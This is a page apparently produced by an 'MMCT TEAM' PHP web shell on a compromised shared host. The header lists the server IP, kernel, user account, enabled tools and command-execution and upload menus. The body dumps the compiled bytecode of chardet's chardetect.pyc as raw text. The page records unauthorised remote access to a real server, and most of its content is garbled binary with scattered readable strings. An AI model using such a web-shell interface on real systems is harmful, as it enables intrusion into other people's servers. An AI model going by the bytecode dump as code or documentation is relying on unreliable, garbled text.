MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 18.226.226.208
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/chardetect.pyc
�
r2Wc@@s�dZddlmZmZmZddlZddlZddlmZddl	m
Z
ddlmZdd�Z
dd	�Zed
kr�e�ndS(u
Script which takes one or more file paths and reports on their detected
encodings

Example::

    % chardetect somefile someotherfile
    somefile: windows-1252 with confidence 0.5
    someotherfile: ascii with confidence 1.0

If no paths are provided, it takes its input from stdin.

i(tabsolute_importtprint_functiontunicode_literalsN(topen(t__version__(tUniversalDetectorustdincC@spt�}x|D]}|j|�qW|j�|j}|dr_dj||d|d�Sdj|�SdS(u�
    Return a string describing the probable encoding of a file or
    list of strings.

    :param lines: The lines to get the encoding of.
    :type lines: Iterable of bytes
    :param name: Name of file or collection of lines
    :type name: str
    uencodingu{0}: {1} with confidence {2}u
confidenceu{0}: no resultN(Rtfeedtclosetresulttformat(tlinestnametutlineR((sT/usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/chardetect.pytdescription_ofs
	

	
c
C@s�tjdddtjdd�}|jdddd	tjd
�ddd
tjg�|jdddddjt��|j	|�}xU|j
D]J}|j�r�tdddddtj
�ntt||j��q�WdS(u�
    Handles command line arguments and gets things started.

    :param argv: List of arguments, as if specified on the command-line.
                 If None, ``sys.argv[1:]`` is used instead.
    :type argv: list of str
    tdescriptionuVTakes one or more file paths and reports their detected                      encodingstformatter_classtconflict_handleruresolveuinputthelpu/File whose encoding we would like to determine.ttypeurbtnargsu*tdefaultu	--versiontactionuversiontversionu%(prog)s {0}u0You are running chardetect interactively. Press u8CTRL-D twice at the start of a blank line to signal the u4end of your input. If you want help, run chardetect u--help
tfileN(targparsetArgumentParsertArgumentDefaultsHelpFormattertadd_argumenttFileTypetsyststdinR	Rt
parse_argstinputtisattytprinttstderrRR(targvtparsertargstf((sT/usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/chardetect.pytmain0s"				
u__main__(t__doc__t
__future__RRRRRtioRtchardetRtchardet.universaldetectorRRtNoneR)t__name__(((sT/usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/chardetect.pyt<module>s

MMCT - 2023